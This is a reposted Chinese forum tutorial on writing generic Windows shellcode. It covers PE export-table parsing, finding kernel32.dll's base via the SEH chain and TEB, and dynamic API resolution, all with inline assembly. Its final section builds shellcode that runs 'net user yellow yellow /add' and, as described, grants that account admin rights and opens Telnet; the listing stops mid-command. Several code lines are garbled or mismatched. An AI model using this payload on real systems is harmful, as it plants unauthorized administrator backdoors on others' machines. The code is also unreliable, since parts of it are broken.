通用ShellCode深入剖析 (轉)

themoney發表於2007-10-01
通用ShellCode深入剖析 (轉)[@more@]建立時間:2004-01-08
文章屬性:轉載
文章提交:.NET/bbs/index.?lang=cn&act=Profile&do=03&MID=19646">l0pht (vbs_at_21cn.com)

[SafeChina推薦]通用Code深入剖析


  通用ShellCode深入剖析
  作者:yellow
  E:yellow@safechina.net
 Home Page:
  Date:-12-19
前言:
 在網上關於ShellCode編寫技術的文章已經非常之多,什麼理由讓我再寫這種技術文
章呢?本文是我上一篇技術文章< 2000緩衝區溢位技術原理>的姊妹篇,同樣
的在網上我們經常可以看到一些關於ShelCode編寫技術的文章,似乎沒有為初學者準備的
,在這裡我將站在初學者的角度對通用ShellCode進行比較詳細的分析,有了上一篇的溢位
理論和本篇的通用ShellCode理論,基本上我們就可以根據一些公佈的Window溢位或
是自己對一些進行反分析出的溢位漏洞試著編寫一些溢位測試.
 文章首先簡單分析了PE格式及PE引出表,並給出了一個例程,演示瞭如何根據PE
相關技術查詢引出及其地址,隨後分析了一種比較通用的獲得Kernel32基址的方法,
最後結合理論進行簡單的應用,給出了一個通用ShellCode.
 本文同樣結合我學習時的理解以比較容易理解的方式進行描述,但由於ShellCode的
複雜性,文章主要使用C和Asm來講解,作者假設你已具有一定的C/Asm混合基礎以及上
一篇的溢位理論基礎,希望本文能讓和我一樣初學溢位技術的朋友有所提高.

[目錄]

1,PE檔案結構的簡介,及PE引出表的分析.
 1.1 PE檔案簡介
 1.2 引出表分析
 1.3 使用內聯彙編寫一個通用的根據DLL基址獲得引出函式地址的實用函式
 GetFunctionByName

2,通用Kernel32.DLL地址的獲得方法.
 2.1 結構化異常處理和TEB簡介
 2.2 使用內聯彙編寫一個通用的獲得Kernel32.DLL函式基址的實用函式
 GetKernel32

3,綜合運用(一個簡單的通用ShellCode)
 3.1 綜合前面所講解的技術編寫一個新增帳號及開啟的簡單ShellCode:
 根據第2節所述技術使用我們自己實現的GetFunctionByName獲得LoadLibraryA和
 GetProcAddress函式地址,再使用這兩個函式引入所有我們需要的函式實現期望的
 功能.

4,參考資料.

5,關鍵字.
--------------------------------------------------------------------------------

 一,PE檔案結構及引出表基礎
1,PE檔案結構簡介

 PE(Portable Executable,移植的體),是環境可執行檔案的標準格式
(所謂可執行檔案不光是.EXE檔案,還包括.DLL/.VXD/.SYS/.VDM等)

PE檔案結構(簡化):

  -----------------
  │1,DMZ header│
  -----------------
  │2,DOS stub  │
  -----------------
  │3,PE header │
  -----------------
  │4,Section table│
  -----------------
  │5,Section 1 │
  -----------------
  │6,Section 2 │
  -----------------
  │ Section ... │
  -----------------
  │n,Section n │
  -----------------

記得在我還沒有接確Win32程式設計時,我曾在Dos下執行過一個Win32可執行檔案,程式只輸出
了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎麼識別自
己不在Win32平臺下的呢?其實它並沒有進行識別,它可能簡單到只輸入這一行文字就退出
了,可能原始碼就像下面的C程式這麼簡單:

#include
void main(void)
{
printf("This program cannot be run in DOS mode.n");
}

你可能會問"我在寫Win32程式時並沒有寫過這樣的語句啊?",其實這是由聯結器(linker)
為你構建的一個16位DOS程式,當在16位系統(DOS/Windows 3.x)下執行Win32程式時它才會
被執行用來輸出一串字元提示"這個程式不能在DOS下執行".

我們先來看看DOS MZ header到底是什麼東西,下面是它在Winnt.h中的結構描述:

typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header
   e_magic;  //0x00 Magic number
 WORD  e_cblp; //0x02 Bytes on last page of file
 WORD  e_cp; //0x04 Pages in file
 WORD  e_crlc; //0x06 Relocations
 WORD  e_cparhdr;  //0x08 Size of header in paragraphs
 WORD  e_minalloc; //0x0a Minimum extra paragraphs needed
 WORD  e_maxalloc; //0x0c Maximum extra paragraphs needed
 WORD  e_ss; //0x0e Initial (relative) SS value
 WORD  e_sp; //0x10 Initial SP value
 WORD  e_csum; //0x12 Checksum
 WORD  e_ip; //0x14 Initial value
 WORD  e_cs; //0x16 Initial (relative) CS value
 WORD  e_lfarlc; //0x18 File address of relocation table
 WORD  e_ovno; //0x1a Overlay number
 WORD  e_res[4]; //0x1c Reserved words
 WORD  e_oemid;  //0x24 OEM ntifier (for e_oeminfo)
 WORD  e_oeminfo;  //0x26 OEM information; e_oemid specific
 WORD  e_res2[10]; //0x28 Reserved words
 LONG  e_lfanew; //0x3c File address of new exe header
 } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

 DOS MZ header中包括了一些16位DOS程式的初使化值如果IP(指令指標),cs(程式碼段寄存
器),需要分配的大小,checksum(校驗和)等,當DOS準備為可執行檔案建立程式時會讀取其
中的值來完成初使化工作.

 留意到最後一個結構成員了嗎?微軟的人對它的描述是File address of new exe header
意義是"新的exe檔案頭部地址",它是一個相對偏移值,我想檔案偏移量你一定知道是什麼吧!
e_lfanew就是一個檔案偏移值,它指向PE header,它對我們來說非常重要.緊跟著DOS MZ header
的是DOS stub它是linker為我們建立的這個16位DOS程式的程式碼實體部分,就是它輸出了
"This program cannot be run in DOS mode.".再後面就是PE header了,有人曾問過我PE頭部
相對於.exe檔案的偏移是不是固定的?這個可不好說,不同的生成的stub長度可能不一樣
(比如:它可能了這樣一個字串來提示使用者"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那麼這個stub的長度將比前面的那個長),所以用一個固定值來定位PE header
是不科學的,這個時候我們就用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當然
的!linker總是會它賦予一個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader
也根據e_lfanew來定位真正的PE header,並使用PE header中的不同的成員值進行初使化,PE還
包涵了很多個"節"(Section),有用來儲存資料的,有用來存可執行程式碼的,還有的是用來存資源
的(如:程式圖示,點陣圖,,對話方塊模板等)
 下面我只簡單分析一下PE結構與編寫ShellCode相關的部分,如果你對其它部分也比較感興趣
可以看看臺港侯俊傑先生譯的中的相關內容以及Iczelion的經
典PE教程,我個人覺得將兩者結合起來看要好一點.

2,引出表分析

 在PE header結構(你可以Winnt.h中找到它)中包括一個DataDirectory結構成員陣列,可以通
過這樣的方法來找到它的位置:
  PE頭部偏移=可執行檔案記憶體映象基址+0x3c(e_lfanew)
  PE基址=可執行檔案記憶體映象基址+PE頭部偏移
  引出表目錄指標(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
  引出函式名稱表首指標(char**)=引出表目錄基址+0x20
  引出函式地址表首指標(DWORD **)=引出表目錄指標+0x1c
它的結構定義是這樣的:

typedef struct _Image_Data_Directory{
 DWORD VirtualAddress;
 DWORD isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

該結構陣列共包括16成員,第一個成員的VirtualAddress儲存了一個相對偏移量,它指向一個
IMAGE_EXPORT_DIRECTORY結構,它的定義是這樣的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
 DWORD  Characteristics;//0x00
 DWORD  TimeDateStamp;//0x04
 WORD MajorVersion;//0x08
 WORD MinorVersion;//0x0a
 DWORD  Name;//0x0c
 DWORD  Base;//0x10
 DWORD  NumberOfFunctions;//0x14
 DWORD  NumberOfNames;//0x18
 DWORD  AddressOfFunctions;//0x1c RVA from base of image
 DWORD  AddressOfNames;//0x20 RVA from base of image
 DWORD  AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

 其中AddressOfFunctions裡又儲存了一個二級指標,它指向一個DWORD型指標陣列該數
組成員所指就是函式地址值,但其中的值是函式相對於可執行檔案在記憶體映象中基地址的一
個相對偏移值,真正的函式地址等於這個相對偏移值+可執行檔案在記憶體映象中的基地址,我
們可以Call這個計算後的真實地址來函式.AddressOfNames是一個二級字元指標,該陣列
成員所指就是函式名稱字串相對於可執行檔案在記憶體映象中的基地址的一個偏移值,同樣
可以透過相對偏移值+可執行檔案在記憶體映象中的基地址來引用函式名稱字串.Name也是一個
字元指標,它也只儲存了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那麼它指向
的字串就為"KERNEL32.dll".

3,本節應用例項

 關於PE和引出表我們已經分析了與編寫ShellCode密切相關的部分,這一部分的確有點難,
但一定要把它搞清楚,只有把它搞懂我們才能進行下一節的學習,在本節的最後附上一個小程式,
在內聯彙編程式碼中大量使用了"間接引用",如果你對指標很熟悉基本上它很好理解,在程式裡我
們實現了Windows GetProcAddress的功能,這種技術對於想使用一些未公開的系統函式也是
非常之有用的.
------------  -----------------------------------------

GetFunctionByName函式可以從一個PE執行檔案中以函式名查詢引出表並返回引出函式地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程式中我們不包括標頭檔案也可以使用任何一個
Windows API.在我的機器上它是0x77e60000程式如下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//引數:
// ImageBase:  可執行檔案的記憶體映象基址
// FuncName: 函式名稱指標
// flen: 函式名稱長度
//返回值:
// 函式成功時返回有效的函式地址,失敗時返回0.
//最終在寫ShellCode時,應該給該函式加上__inline宣告,因為它要與ShellCode融為一體.

//注意,在本例中我們沒有包括任何一個.h檔案

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase控制程式碼有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模組名,如果在查詢KERNEL32.DLL的引出函式那麼它將指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//儲存函式名稱指標陣列的指標值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函式個數NumberOfFunctions設定最大查詢次數
FindL:
push ecx//使用一個小技巧,使用程式迴圈更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字元比較,如果相同則為找到函式,注意這裡的ecx值
cld
rep cmpsb
jne FindNext//如果當前函式不是指定的函式則查詢下一個
add esp,4//如果查詢成功,則清除用於控制外層迴圈而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函式地址表
shl Count,2//根據函式計算函式地址指標=函式地址表基址+(函式索引*4)
add eax,Count
mov eax,[eax]//獲得函式地址相對偏移量
add eax,ImageBase//計算函式真實地址,並透過Eax返回給呼叫者
jmp Found
FindNext:
inc Count//記錄函式索引
add [FunNameArray],4//下一個函式名指標
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數迴圈
loop FindLoop//如果ecx不為0則遞減並回到FindLoop,往後查詢
NotFound:xor eax,eax//如果沒有找到,則返回0
Found:
}
}
/*
讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中LoadLibraryA
的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我機器上的kernel32.dll的基址,不同機器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相當於執行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的長度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C呼叫約定,由呼叫者調整堆疊
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相當於執行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函式的內聯彙編程式碼有很多這樣的語句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我試過使用mov eax,[ImageBase+eax+0x??]之類的語法,因為用到很多多級指標,而它們指向
的又是相對偏移量所以要不斷的"獲取和計算",否則很容易導致"訪問違例".編譯執行,彈出了
一個MessageBox標題和內容都是"test"看到了嗎?你可能會問這個程式拿到其它機器上也可能
執行嗎?在整個程式裡我們唯一依賴的就是0x77e60000這個kernel32.dll基址,其它機器上的
可能不是這個值,如果這個地址值可以在程式執行時動態的計算出來,那麼這個程式將非常通
用,它可以動態計算出來嗎?答案是肯定的!下一節我們將來分析一種並不很流行但很通用的動
態計算獲得kernel32.dll基址的方法.

---------------------------------------------------------------------------------

  二,在動態獲得Kernel32.DLL地址方法的分析

1,簡析結構化異常處理(SEH,Structred Exception Handling)
 SEH已經不是很什麼新技術了,但是對於我將要講了非常重要,所以在這裡對它做一個簡單的
分析.Ok,開啟VC,讓我們來分析一個簡單的"除"運算程式,看看它哪裡有問題:

#include
#include
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
編譯,執行:輸入4 2,程式輸出"4 DIV 2 = 2",結果很正確.再執行輸入 4 0,問題出來了,
彈出了一個資訊框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現了未處理的
"除0異常",傳統的方法是我們在z=x/y之前加上判斷:
#include
#include
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
出錯處理在這個小程式裡這的確很容易看懂,可是想想如果在數千甚至上萬行的程式裡,這樣的
錯誤捕獲處理會讓程式變的十分凌亂難懂,而且傳統方法處理的是我們可以想像(猜測)到的錯誤,
但是某些導到程式出錯的情況是很隨機的,這樣就不能保證程式的健壯性了,而SEH正是為了讓正
常的處理程式碼和出錯處理程式碼分開,以使程式結構清淅,並使程式更加
健壯.讓我們再把這個小程式改一下:
#include
#include
#include

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出錯的程式段封裝起來
z=x/y;
 //......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在這裡找出出現異常的原因,並進行處理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0異常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://記憶體訪問違例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %dn",x,y,z);
LQUIT:
getch();
return 0;
}
這樣我們就使終都可以捕獲到異常了,編譯,選擇"Disembly",可以看到這樣的程式碼:
push offset __except_handler3 (00401330)
mov  eax,fs:[00000000]
push eax
mov  dword ptr fs:[0],esp
這是實際上是標準的SEH異常處理函式的註冊方法,我們的__except(){}實際在編譯時被當成一個
執行緒相關的異常處理函式,實際上這段程式碼的作用是將我們的異常處理函式加入異常處理結構鏈
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函式連結串列的首指標,它的最後一條記錄
的節點指標指向0xffffffff.它的結構描述是這樣的:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
 struct _EXCEPTION_REGISTRATION_RECORD * pNext; //指向後面的節點
 FROC pfnHandler;//指向異常處理函式
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

你可能會問"你怎麼知道fs:[0]是該結構的首指標呢?",當然我沒有那麼天才,從Windows 95系統程式
設計一書中可以得知每當建立一個執行緒,系統均會為每個執行緒分配TEB(Thread Environment Block)
在Windows 9x中被稱為TIB(Thread Information Block),而且TEB永遠放在fs段選擇器指定的資料段
的0偏移處.
-----------------------------------  -----------------------------
再看一下TEB的結構定義你就會明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指標成員
  ---------------------------------------------------------
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack

union // 0Ch (NT/Win95 differences)
{
 struct // Win95 fields
 {
 WORD pvT; // 0Ch TDB
 WORD pvThunkSS; // 0Eh SS or used for thunking to 16 bits
 DWORD unknown1; // 10h
 } WIN95;

 struct // WinNT fields
 {
 PVOID SubSystemTib; // 0Ch
 ULONG FiberData; // 10h
 } WINNT;
} TIB_UNION1;

PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure

union // 1Ch (NT/Win95 differences)
{
 struct // Win95 fields
 {
 WORD TIBFlags; // 1Ch
 WORD Win16MutexCount; // 1Eh
 DWORD DeContext; // 20h
 DWORD pCurrentPriority; // 24h
 DWORD pvQueue; // 28h Message Queue selector
 } WIN95;

 struct // WinNT fields
 {
 DWORD unknown1; // 1Ch
 DWORD processID; // 20h <=---注意這個和下面一個成員
 //-------------
 DWORD threadID; // 24h <=---注意這個成員
 //-------------
 DWORD unknown2; // 28h
 } WINNT;
} TIB_UNION2;

PVOID* pvTLSArray; // 2Ch Thread Local Storage array

union // 30h (NT/Win95 differences)
{
 struct // Win95 fields
 {
 PVOID* pProcess; // 30h Pointer to owning Process Database
 } WIN95;
} TIB_UNION3;

} TIB, *PTIB;

看見了嗎?TEB的第一個成員pvExcept是異常處理鏈首指標Head of exception record list,它相對於
TEB首地址0x00偏移處,而TEB永遠放在fs段暫存器的0x00偏移處,也就是fs段暫存器的0x00偏移處.
看到我讓你留意的另兩個成員了嗎?processID儲存了當前執行緒屬程式的ID號,threadID儲存了當前執行緒
ID號,這樣我們又可以實現兩Windows API了:
//MyAPI.c
#include
#include
#include

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//讀取TEB的processID成員內容,透過eax返回
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//讀取TEB的threadID成員內容,透過eax返回
ret
}
}
//測試一下
void main(void)
{
printf("MY PID=%dtAPI PID=%dn",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%dtAPI TID=%dn",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程式輸出:
MY PID=1448  API PID=1448
MY TID=1204  API TID=1204

注意,不同的機器,不同時刻這裡輸出的值可能不一樣,但MY PID恆等於API PID,MY TID恆等API TID.越
來越有意思了吧!說了這麼多,那麼這些與獲得kernel32.dll基址有什麼關係嗎?不要著急,繼續往下看你
就會明白的!

2,透過異常處理函式連結串列查詢kernel32.dll基地址

現在讓我們來看看異常處理的順序,它是這樣的:
 當一個異常發生時,系統會從fs:[0]處讀取異常處理函式連結串列首指標,開始問所有在應用程式中註冊的
異常處理函式,比如上面的"除0異常",系統會把這個異常通知我們的異常處理函式,函式識別出是"除0異常",
並給予了處理(輸出了"Can not Divide by Zero!"),並告訴系統"我已經處理過了,不用再問其它函式了".
 如果我們的函式不打算處理這個異常可以交給兄弟節點中異常處理函式指標指向的其它異常處理函式
處理,如果程式中註冊的異常處理均不處理這個異常,那麼系統將把它傳送給當前工具,如果應用程式當
前不處在除錯狀態或是除錯工具也不處理這個異常的話,系統將把它傳送給kernel32的UnhandledExceptionFilter
函式進行處理,當然它是由程式異常處理鏈最後一個節點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD)
函式指標成員指向的,該節點的pNext成員將指向0xffffffff.
 看了這麼多有點靈感了嗎?我們已經有了kernel32.dll的一個引出函式的地址了,難道還找不出它的基址
嗎?看看下面的這個小程式吧!
/*
 原型:unsigned int GetKernel32(void);
 引數:無
 返回值:
 函式總是能返回Kernel32.dll的基地址
 說明:根據PE可執行檔案特徵從UnhandledExceptionFilter函式地址向上線性查詢,使用__inline是為了與
  最終的ShellCode融為一體,使用__declspec(naked)是為了不讓編譯器自作聰明生成一些"廢話",讓它
  完全按照我們自己的Asm語句來描述函式.
*/
#include
#include

__inline __declspec(naked) unsigned int GetKernel32()
{
 __asm
{
 push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到達最後一個節點(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否則往後遍歷,一直到最後一個節點
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根據PE執行檔案以64k對界的特徵加快查詢速度
cmp word ptr [eax],'ZM'//根據PE可執行檔案特徵查詢KERNEL32.DLL的基址
jne MoveUp//如果當前地址不符全MZ頭部特徵,則向上查詢
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根據PE可執行檔案特徵查詢KERNEL32.DLL的基址
je Found//如果符合MZ及PE頭部特徵,則認為已經找到,並透過Eax返回給呼叫者
MoveUp:
dec eax//準備指向下一個界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}

void main(void)
{
printf("%0.8Xn",GetKernel32());
getch();
}


完成了本節的學習以後,你應該掌握常用於編寫和ShellCode的幾種技術:
1,根據PE檔案查詢引出函式地址
2,動態計算KERNEL32.DLL的基址
3,動態裝載需要的執行庫及動獲得需要的Windows API(s)
在最後一節裡我們將對前面所分析的技術做一個綜合應用,寫一個簡單的ShellCode
--------------------------------------------------------------------------------------------
 三,綜合運用
本節我們將綜合前面分析的技術編寫一個簡單的通用ShellCode,這個ShellCode將首先在機器上新建一個
使用者,使用者名稱yellow,密碼yellow,如果如果可能將把該使用者加入Administrators使用者組,如果可能還會開啟Telnet
服務,請留意我的編碼風格,這樣風格對以後的ShellCode功能擴充提供很大方便.源程式如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
//定義API及DLL名稱及其儲存順序,良好的編碼風格對於以後的開發會提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工獲得KERNEL32.DLL基址,並獲得LoadLibraryA和GetProcAddress函式地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G'; 
_emit 'e'; 
_emit 't'; 
_emit 'P'; 
_emit 'r'; 
_emit 'o'; 
_emit 'c'; 
_emit 'A'; 
_emit 'd'; 
_emit 'd'; 
_emit 'r'; 
_emit 'e'; 
_emit 's'; 
_emit 's'; 
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L'; 
_emit 'o'; 
_emit 'a'; 
_emit 'd'; 
_emit 'L'; 
_emit 'i'; 
_emit 'b'; 
_emit 'r'; 
_emit 'a'; 
_emit 'r'; 
_emit 'y'; 
_emit 'A'; 
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填寫需要的DLL名稱,注意這裡和上面定義的宏順序要一樣
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填寫其它需要的API名稱,注意這裡也要和上面定義和宏順序一樣
call LEXITPROCESS//1
_emit 'E'; 
_emit 'x'; 
_emit 'i'; 
_emit 't'; 
_emit 'P'; 
_emit 'r'; 
_emit 'o'; 
_emit 'c'; 
_emit 'e'; 
_emit 's'; 
_emit 's'; 
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W'; 
_emit 'i'; 
_emit 'n'; 
_emit 'E'; 
_emit 'x'; 
_emit 'e'; 
_emit 'c'; 
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's'; 
_emit 'o'; 
_emit 'c'; 
_emit 'k'; 
_emit 'e'; 
_emit 't'; 
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b'; 
_emit 'i'; 
_emit 'n'; 
_emit 'd'; 
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c'; 
_emit 'o'; 
_emit 'n'; 
_emit 'n'; 
_emit 'e'; 
_emit 'c'; 
_emit 't'; 
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a'; 
_emit 'c'; 
_emit 'c'; 
_emit 'e'; 
_emit 'p'; 
_emit 't'; 
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l'; 
_emit 'i'; 
_emit 's'; 
_emit 't'; 
_emit 'e'; 
_emit 'n'; 
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's'; 
_emit 'e'; 
_emit 'n'; 
_emit 'd'; 
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r'; 
_emit 'e'; 
_emit 'c'; 
_emit 'v'; 
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c'; 
_emit 'l'; 
_emit 'o'; 
_emit 's'; 
_emit 'e'; 
_emit 's'; 
_emit 'o'; 
_emit 'c'; 
_emit 'k'; 
_emit 'e'; 
_emit 't'; 
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W'; 
_emit 'S'; 
_emit 'A'; 
_emit 'S'; 
_emit 't'; 
_emit 'a'; 
_emit 'r'; 
_emit 't'; 
_emit 'u'; 
_emit 'p'; 
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W'; 
_emit 'S'; 
_emit 'A'; 
_emit 'C'; 
_emit 'l'; 
_emit 'e'; 
_emit 'a'; 
_emit 'n'; 
_emit 'u'; 
_emit 'p'; 
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在這裡設定一個斷點檢視DLLNAMES和APINAMES是否填入了需要的內容

//填寫
}
//3,裝載所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
}
//4,獲取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
}
//5,編寫ShellCode的功能實體部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
